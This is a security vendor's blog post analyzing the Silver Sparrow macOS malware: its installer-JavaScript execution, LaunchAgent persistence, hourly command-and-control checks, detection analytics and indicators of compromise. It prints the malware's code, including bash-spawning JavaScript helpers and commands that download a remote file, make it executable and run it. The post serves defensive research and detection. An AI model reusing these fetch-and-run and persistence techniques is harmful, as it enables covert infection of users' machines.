# See what it's like to have a partner in the fight. **redcanary.com/blog/clipping-silver-sparrows-wings/** [Demo](https://redcanary.com/demo) Share [Resources •](https://redcanary.com/resources/) [Blog Detection and response](https://redcanary.com/blog/) ## Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple’s new M1 chips but lacks one very important feature: a payload. [Tony Lambert•](https://redcanary.com/authors/tony-lambert) _Originally published . Last modified ._ **UPDATE on 05/21/2021:** _A previous version of this blog stated that, “…Silver Sparrow had_ **_infected 29,139 macOS endpoints….” We have updated it to state that the Silver Sparrow_** _activity cluster affected 29,139 macOS endpoints. This distinction may seem small, but it’s_ _important because the Silver Sparrow activity cluster comprises multiple artifacts, including_ _clearly malicious files and unusual or suspicious ones too. One file we chose to include in_ _the cluster is the `._insu` file that seems to instruct the malware to remove itself from an_ _endpoint. A subset of those 29,139 machines were infected by one of the two malicious_ ----- _packages described in this blog, while the majority contained the ._insu file check and_ _were therefore affected by the overall Silver Sparrow activity cluster as we define it. Other_ _teams may cluster this activity differently based on their assessments._ [Earlier this month, Red Canary detection engineers Wes Hurd and Jason Killam came](https://redcanary.com/authors/jason-killam/) [across a strain of macOS malware using a LaunchAgent to establish persistence. Nothing](https://attack.mitre.org/techniques/T1543/001/) new there. However, our investigation almost immediately revealed that this malware, whatever it was, did not exhibit the behaviors that we’ve come to expect from the usual adware that so often targets macOS systems. The novelty of this downloader arises primarily from the way it uses JavaScript for execution—something we hadn’t previously encountered in other macOS malware—and the emergence of a related binary compiled for Apple’s new [M1 ARM64 architecture.](https://www.apple.com/mac/m1/) We’ve dubbed this activity cluster “Silver Sparrow.” [Thanks to contributions from Erika Noerenberg and](https://twitter.com/gutterchurl) [Thomas Reed from](https://twitter.com/thomasareed) [Malwarebytes and](https://blog.malwarebytes.com/) [Jimmy Astle from](https://twitter.com/AstleJimmy) [VMware Carbon Black, we quickly realized that we were dealing with](https://www.carbonblack.com/blog/) what appeared to be a previously undetected strain of malware. According to data provided by Malwarebytes, the Silver Sparrow activity cluster affected 29,139 macOS endpoints across 153 countries as of February 17, including high volumes of detection in the United States, the United Kingdom, Canada, France, and Germany. Though we haven’t observed Silver Sparrow delivering additional malicious payloads yet, its forward-looking M1 chip compatibility, global reach, relatively high infection rate, and operational maturity suggest Silver Sparrow is a reasonably serious threat, uniquely positioned to deliver a potentially impactful payload at a moment’s notice. Given these causes for concern, in the spirit of transparency, we wanted to share everything we know with the broader infosec industry sooner rather than later. The rest of this post will be organized into the following sections: A technical analysis of two Silver Sparrow malware samples An explanation of intelligence gaps and blindspots Guidance on detection opportunities for Silver Sparrow A list of indicators that we’ve encountered while investigating this threat ## Technical analysis ### What we analyzed ----- Our investigation uncovered two versions of Silver Sparrow malware, which we will refer to as “version 1” and “version 2” throughout this post (see the Indicators of Compromise section for a summary of indicators surrounding these two samples): **Malware version 1** File name: updater.pkg (installer package for v1) MD5: 30c9bc7d40454e501c358f77449071aa [VirusTotal sample](https://www.virustotal.com/gui/file/1decb4070db4dfe5d68ba502cf3a67de96a69ea6f3acfa4454795f96472ccc0d/details) **Malware version 2** File name: update.pkg (installer package for v2) MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149 [VirusTotal sample](https://www.virustotal.com/gui/file/c7dd06b20b64b64d3b155b6b77c2778a08ef6a6c0396d7537af411258e57af1e/details) Outside of a change in download URLs and script comments, the two versions had only one major difference. The first version contained a Mach-O binary compiled for Intel x86_64 architecture only ( updater MD5: c668003c9c5b1689ba47a431512b03cc). In the second version, the adversary included a Mach-O binary compiled for both Intel x86_64 and M1 ARM64 architectures ( tasker MD5: b370191228fef82635e39a137be470af). This is significant because the M1 ARM64 architecture is young, and researchers have uncovered very few threats for the new platform. As we’ll explain in detail in the technical analysis, the Mach-O compiled binaries don’t seem to do all that much—at least not as of this writing—and so we’ve been calling them “bystander binaries.” The following image represents a high-level look at the two versions of Silver Sparrow malware. ----- ### JavaScript in the installer We’ve found that many macOS threats are distributed through malicious advertisements as [single, self-contained installers in PKG or](https://en.wikipedia.org/wiki/Installer_(macOS)) [DMG form, masquerading as a legitimate](https://en.wikipedia.org/wiki/Apple_Disk_Image) application—such as Adobe Flash Player—or as updates. In this case, however, the adversary distributed the malware in two distinct packages: `updater.pkg and` ``` update.pkg . Both versions use the same techniques to execute, differing only in the ``` compilation of the bystander binary. In order of appearance, the first novel and noteworthy thing about Silver Sparrow is that its installer packages leverage the macOS Installer JavaScript API to execute suspicious commands. While we’ve observed legitimate software doing this, this is the first instance we’ve observed it in malware. This is a deviation from behavior we usually observe in malicious macOS installers, which generally use preinstall or postinstall scripts to execute commands . In preinstall and postinstall cases, the installation generates a particular telemetry pattern that tends to look something like the following: Parent process: `package_script_service` Process: `bash,` `zsh,` `sh, Python, or another interpreter` Command line: contains `preinstall or` `postinstall` This telemetry pattern isn’t a particularly high-fidelity indicator of maliciousness on its own because even legitimate software uses the scripts, but it does reliably identify installers using preinstall and postinstall scripts in general. Silver Sparrow differs from what we expect ----- to see from malicious macOS installers by including JavaScript commands within the package file’s Distribution definition XML file. This produces a different telemetry pattern: Parent process: `Installer` Process: `bash` As with preinstall and postinstall scripts, this telemetry pattern isn’t enough to identify malicious behavior on its own. Preinstall and postinstall scripts include command-line arguments that offer clues into what’s actually getting executed. The malicious JavaScript commands, on the other hand, run using the legitimate macOS Installer process and offer very little visibility into the contents of the installation package or how that package uses the JavaScript commands. The entry point to the code lives within the package’s `Distribution definition XML file,` which contains an installation-check tag specifying what function to execute during the [“Installation Check” phase:](https://developer.apple.com/library/archive/documentation/DeveloperTools/Reference/DistributionDefinitionRef/Chapters/Distribution_XML_Ref.html#//apple_ref/doc/uid/TP40005370-CH100-SW12) The installer used three JavaScript functions for all the heavy lifting inside the “installation_check()” function : ``` function bash(command) { system.run('/bin/bash', '-c', command) } function appendLine(line, file) { bash(`printf "%b\n" '${line}' >> ${file}`) } function appendLinex(line, file) { bash(`"echo" ${line} >> ${file}`) } function appendLiney(line, file) { bash(`printf "%b" '${line}' >> ${file}`) } ``` Note that in the code above, Silver Sparrow uses Apple’s `system.run command for` [execution. Apple documented the](https://developer.apple.com/documentation/installer_js/system/1812364-run) `system.run code as launching “a given program in the` Resources directory of the installation package,” but it’s not limited to using the Resources directory. As observed with Silver Sparrow, you can provide the full path to a process for execution and its arguments. By taking this route, the malware causes the installer to spawn multiple `bash processes that it can then use to accomplish its objectives.` ----- The functions `appendLine,` `appendLinex, and` `appendLiney extend the` `bash` commands with arguments that write input to files on disk. Silver Sparrow writes each of its components out line by line with JavaScript commands: ``` appendLine(`initTime=\$1`, updaterMonitorPath) appendLine(`/usr/bin/curl ${url} > /tmp/version.json`, updaterMonitorPath) appendLine(`plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist`, updaterMonitorPath) appendLine(`wait=$(/usr/libexec/PlistBuddy -c "Print :dls" /tmp/version.plist)`, updaterMonitorPath) appendLine(`wait=\$((\$wait* 60 ))`, updaterMonitorPath) appendLine(`instVersion=1`, updaterMonitorPath) ``` This approach may avoid simple static signatures by dynamically generating the script rather than using a static script file. In addition, the commands let the adversary quickly modify the code to be much more versatile should they decide to make a change. Altogether, it means the adversary was likely attempting to evade detection and ease development. Once all the commands get written, two new scripts exist on disk: `/tmp/agent.sh and` ``` ~/Library/Application Support/verx_updater/verx.sh . The agent.sh script ``` executes immediately at the end of the installation to contact an adversary-controlled system and indicate that installation occurred. The `verx.sh script executes periodically` because of a persistent LaunchAgent to contact a remote host for more information. ### Everyone needs a (Plist)Buddy Our initial indication of malicious activity was the `PlistBuddy process creating a` LaunchAgent, so let’s explore the significance of that. LaunchAgents provide a way to instruct `launchd, the macOS initialization system, to` periodically or automatically execute tasks. They can be written by any user on the endpoint, but they will usually also execute as the user that writes them. For example, if the user `tlambert writes` `~/Library/LaunchAgents/evil.plist the tasks described in` `evil.plist will usually execute as` `tlambert . For more information, refer to` Apple’s documentation. [While tools like osquery and antimalware controls have excellent visibility into the contents](https://osquery.io/schema/4.6.0/#launchd) of LaunchAgents, some endpoint detection and response (EDR) tools have a hard time gaining visibility into LaunchAgents. EDR tooling tends to rely on process monitoring that offers a great deal of visibility into the creation—but not necessarily the contents—of a file. For example, an EDR tool might offer you the following shell command: ``` cp /Volumes/TotesLegit.app/Resources/launcher.plist ~/Library/LaunchAgents/launcher plist ``` ----- As a result, detecting a persistence mechanism in the form of a malicious LaunchAgent can be extremely difficult using EDR alone because it requires you to analyze surrounding activity to make a decision about the installer itself. In other words: you know that the LaunchAgent can be used as a persistence mechanism, but—since you might not be able to see the contents of the LaunchAgent file—you have to rely on context to determine the intent of that LaunchAgent. Thankfully, there are multiple ways to create property lists (plists) on macOS, and sometimes adversaries use different methods to achieve their needs. One such way is through `PlistBuddy, a built-in tool that allows you to create various property lists on an` endpoint, including LaunchAgents. Sometimes adversaries turn to `PlistBuddy to` establish persistence, and doing so enables defenders to readily inspect the contents of a LaunchAgent using EDR because all the properties of the file get shown on the command line before writing. In Silver Sparrow’s case, we observed commands writing the content of the plist: ``` PlistBuddy -c "Add :Label string init_verx" ~/Library/Launchagents/init_verx.plist PlistBuddy -c "Add :RunAtLoad bool true" ~/Library/Launchagents/init_verx.plist PlistBuddy -c "Add :StartInterval integer 3600" ~/Library/Launchagents/init_verx.plist PlistBuddy -c "Add :ProgramArguments array" ~/Library/Launchagents/init_verx.plist PlistBuddy -c "Add :ProgramArguments:0 string '/bin/sh'" ~/Library/Launchagents/init_verx.plist PlistBuddy -c "Add :ProgramArguments:1 string -c" ~/Library/Launchagents/init_verx.plist ``` In its final form on disk, the LaunchAgent Plist XML will resemble the following: ``` Label init_verx RunAtLoad true StartInterval 3600 ProgramArguments '/bin/sh' -c "~/Library/Application\\ Support/verx_updater/verx.sh" [timestamp] [data from plist downloaded] 1 ### Command and control (C2) ``` ----- Every hour, the persistence LaunchAgent tells `launchd to execute a shell script that` downloads a JSON file to disk, converts it into a plist, and uses its properties to determine further actions. ``` curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist ... curl $(/usr/libexec/PlistBuddy -c "Print :downloadUrl" /tmp/version.plist) --output /tmp/verx chmod 777 /tmp/verx /tmp/verx upbuchupsf ``` The structure of the downloaded version.json file looks like this: ``` {"version":2,"label":"verx","args":"upbuchupsf","dls":4320,"run":true,"loc":"~\/Libra ``` Every hour that `downloadUrl property gets checked for additional content to download` and executes. After observing the malware for over a week, neither we nor our research partners observed a final payload, leaving the ultimate goal of Silver Sparrow activity a mystery. [Silver Sparrow’s use of infrastructure hosted on AWS S3 is interesting because AWS offers](https://aws.amazon.com/s3/) a highly available and resilient file distribution method. The adversary can create a bucket, serve out files, and operate without worrying about the additional network administration and overhead associated with doing all of this in house. In addition, callback domains for [this activity cluster leveraged domains hosted through Akamai CDN. This implies that the](https://www.akamai.com/us/en/resources/content-distribution-network.jsp) adversary likely understands cloud infrastructure and its benefits over a single server or non-resilient system. Further, the adversary that likely understands this hosting choice allows them to blend in with the normal overhead of cloud infrastructure traffic. Most organizations cannot afford to block access to resources in AWS and Akamai. The decision to use AWS infrastructure further supports our assessment that this is an operationally mature adversary. ### Mysteries on mysteries In addition to the payload mystery, Silver Sparrow includes a file check that causes the removal of all persistence mechanisms and scripts. It checks for the presence of ``` ~/Library/._insu on disk, and, if the file is present, Silver Sparrow removes all of its ``` ----- components from the endpoint. Hashes reported from Malwarebytes ( d41d8cd98f00b204e9800998ecf8427e ) indicated that the `._insu file was empty. The` presence of this feature is also something of a mystery. ``` if [ -f ~/Library/._insu ] then rm ~/Library/Launchagents/verx.plist rm ~/Library/Launchagents/init_verx.plist rm /tmp/version.json rm /tmp/version.plist rm /tmp/verx rm -r ~/Library/Application\\ Support/verx_updater rm /tmp/agent.sh launchctl remove init_verx ``` The `._insu file does not appear present by default on macOS, and we currently don’t` know the circumstances under which the file appears. ### The final callback At the end of the installation, Silver Sparrow executes two discovery commands to construct data for a `curl HTTP POST request indicating that the installation occurred. One` retrieves the system UUID for reporting, and the second finds more interesting information: the URL used to download the original package file. By executing a sqlite3 query, the malware finds the original URL the PKG downloaded from, giving the adversary an idea of successful distribution channels. We commonly see this kind of activity with malicious adware on macOS. ``` sqlite3 sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like “[redacted]" order by LSQuarantineTimeStamp desc' ### Hello, World: bystander binaries ``` The first version of Silver Sparrow malware ( updater.pkg MD5: 30c9bc7d40454e501c358f77449071aa) that we analyzed contained an extraneous Mach-O binary ( updater MD5: c668003c9c5b1689ba47a431512b03cc), compiled for Intel x86_64 that appeared to play no additional role in the Silver Sparrow execution. Ultimately this binary seems to have been included as placeholder content to give the PKG something to distribute outside the JavaScript execution. It simply says, “Hello, World!” (literally!) ----- _v1 Image Credit: Erika Noerenberg_ The second version ( update.pkg MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149) also included an extraneous Mach-O binary ( tasker MD5: b370191228fef82635e39a137be470af) that was compiled to be compatible with both Intelx86_64 and M1 ARM64. Like before, this binary seems to have been included as a placeholder—this time, displaying the message “You did it!” ----- _v2 Image Credit: Jimmy Astle_ You can observe the dual architecture support from version 2 of the extraneous Mach-O binary by checking out the output of `file command on macOS or Linux systems` examining the binary: ``` tasker: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit x86_64 executable, flags:] [arm64:Mach-O 64-bit arm64 executable, flags:] ``` By contrast, the output of the `file command from the extraneous Mach-O binary in` version 1 would look like the following: ``` updater: Mach-O 64-bit x86_64 executable, flags: ### Timeline ``` We don’t have a complete picture of exactly when Silver Sparrow first emerged, but we’ve been able to construct the following timeline through a mix of open source intelligence and Red Canary telemetry: 1. August 18, 2020: Malware version 1 (non-M1 version) callback domain ``` api.mobiletraits[.]com created (source) ``` [2. August 31, 2020: Malware version 1 (non-M1 version) submitted to VirusTotal (source)](https://www.virustotal.com/gui/file/1decb4070db4dfe5d68ba502cf3a67de96a69ea6f3acfa4454795f96472ccc0d/submissions) ----- 3. September 2, 2020: `version.json file seen during malware version 2 execution` [submitted to VirusTotal (source)](https://www.virustotal.com/gui/file/fe3dfc11884801b6d1d331fb85f8ef822d8d4ecf329d9e71048b87b93bafe01b/details) 4. December 5, 2020: Malware version 2 (M1 version) callback domain created ``` api.specialattributes[.]com created (source) ``` 5. January 22, 2021: PKG file version 2 (containing a M1 binary) submitted to VirusTotal [(source)](https://www.virustotal.com/gui/file/c7dd06b20b64b64d3b155b6b77c2778a08ef6a6c0396d7537af411258e57af1e/details) 6. January 26, 2021: Red Canary detects Silver Sparrow malware version 1 7. February 9, 2021: Red Canary detects Silver Sparrow malware version 2 (M1 version) ## Intelligence gaps At the time of publishing, we’ve identified a few unknown factors related to Silver Sparrow that we either don’t have visibility into or simply enough time hasn’t passed to observe. First, we aren’t certain of the initial distribution method for the PKG files. We suspect that malicious search engine results direct victims to download the PKGs based on network connections from a victim’s browser shortly before download. In this case we can’t be certain because we don’t have the visibility to determine exactly what caused the download. Next, we don’t know the circumstances under which `~/Library/._insu appears. This file` may be part of a toolset the adversary wishes to avoid; it may be part of the malware’s life cycle itself as a way of removing components after an objective has been met. In addition, the ultimate goal of this malware is a mystery. We have no way of knowing with certainty what payload would be distributed by the malware, if a payload has already been delivered and removed, or if the adversary has a future timeline for distribution. Based on data shared with us by Malwarebytes, the nearly 30,000 affected hosts have not downloaded what would be the next or final payload. Finally, the purpose of the Mach-O binary included inside the PKG files is also a mystery. Based on the data from script execution, the binary would only run if a victim intentionally sought it out and launched it. The messages we observed of “Hello, World!” or “You did it!” could indicate the threat is under development in a proof-of-concept stage or that the adversary just needed an application bundle to make the package look legitimate. ## Detection opportunities The following section includes descriptions of the analytics that have helped us detect the Silver Sparrow downloader. That said, we didn’t build these analytics specifically for the purpose of detecting Silver Sparrow, so they may be useful for detecting a wide array of macOS threats. If one of these analytics alerts you to potentially malicious activity, we recommend searching for the presence of indicators (listed below) to confirm whether you are dealing with a Silver Sparrow infection or something else. ----- Look for a process that appears to be `PlistBuddy executing in conjunction with a` command line containing the following: `LaunchAgents and` `RunAtLoad and` `true .` This analytic helps us find multiple macOS malware families establishing LaunchAgent persistence. Look for a process that appears to be `sqlite3 executing in conjunction with a` command line that contains: `LSQuarantine . This analytic helps us find multiple` macOS malware families manipulating or searching metadata for downloaded files. Look for a process that appears to be `curl executing in conjunction with a` command line that contains: `s3.amazonaws.com . This analytic helps us find multiple` macOS malware families using S3 buckets for distribution. ## Indicators of Compromise ### In Versions 1 & 2 ~/Library/._insu (empty file used to signal the malware to delete itself) /tmp/agent.sh (shell script executed for installation callback) /tmp/version.json (file downloaded from from S3 to determine execution flow) /tmp/version.plist (version.json converted into a property list) ### Malware Version 1 File name: updater.pkg (installer package for v1) MD5: 30c9bc7d40454e501c358f77449071aa File name: updater (bystander Mach-O Intel binary in v1 package) MD5: c668003c9c5b1689ba47a431512b03cc mobiletraits.s3.amazonaws[.]com (S3 bucket holding version.json for v1) ~/Library/Application Support/agent_updater/agent.sh (v1 script that executes every hour) /tmp/agent (file containing final v1 payload if distributed) ~/Library/Launchagents/agent.plist (v1 persistence mechanism) ~/Library/Launchagents/init_agent.plist (v1 persistence mechanism) Developer ID Saotia Seay (5834W6MYX3) – v1 bystander binary signature revoked by Apple **Package content and structure** ----- ``` . ├── Distribution * └── updater.pkg ├── Bom ├── PackageInfo ├── Payload └── updater.app └── Contents ├── _CodeSignature │ └── CodeResources ├── Info.plist ├── MacOS │ └── updater * ├── PkgInfo └── Resources └── Base.lproj └── Main.storyboardc ├── Info.plist └── MainMenu.nib (*) Contains executable code ### Malware Version 2 ``` File name: update.pkg (installer package for v2) MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149 tasker.app/Contents/MacOS/tasker (bystander Mach-O Intel & M1 binary in v2) MD5: b370191228fef82635e39a137be470af specialattributes.s3.amazonaws[.]com (S3 bucket holding version.json for v2) ~/Library/Application Support/verx_updater/verx.sh (v2 script that executes every hour) /tmp/verx (file containing final v2 payload if distributed) ~/Library/Launchagents/verx.plist (v2 persistence mechanism) ~/Library/Launchagents/init_verx.plist (v2 persistence mechanism) Developer ID Julie Willey (MSZ3ZH74RK) – v2 bystander binary signature revoked by Apple **Package content and structure** ----- ``` . ├── Distribution * └── tasker.pkg ├── Bom ├── PackageInfo ├── Payload └── tasker.app └── Contents ├── _CodeSignature │ └── CodeResources ├── Info.plist ├── MacOS │ └── tasker * ├── PkgInfo └── Resources └── Base.lproj └── Main.storyboardc ├── Info.plist └── MainMenu.nib (*) Contains executable code ``` If you’ve been tracking similar activity, we’d love to hear from you and collaborate. Contact [blog@redcanary.com with any observations or questions.](http://10.10.0.46/mailto:blog@redcanary.com) Related Articles Detection and response ### ChromeLoader: a pushy malvertiser Detection and response ### Intelligence Insights: May 2022 Detection and response ### The Goot cause: Detecting Gootloader and its follow-on activity Detection and response ### Marshmallows & Kerberoasting ----- **Subscribe to our blog** Download the report All 2021 Threat Detection Report content is fully available through this website. If you prefer to download a PDF, just fill out this form and let us know what email to send it to. **Thanks for your interest!** Check your inbox, the 2021 Threat Detection Report is headed your way. Our website uses cookies to provide you with a better browsing experience. More [information can be found in our Privacy Policy.](https://redcanary.com/privacy-policy) X Privacy & Cookies Policy **Privacy Overview** This website uses cookies to improve your experience while you navigate through the website. Out of these cookies, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may have an effect on your browsing experience. Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information. Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website. -----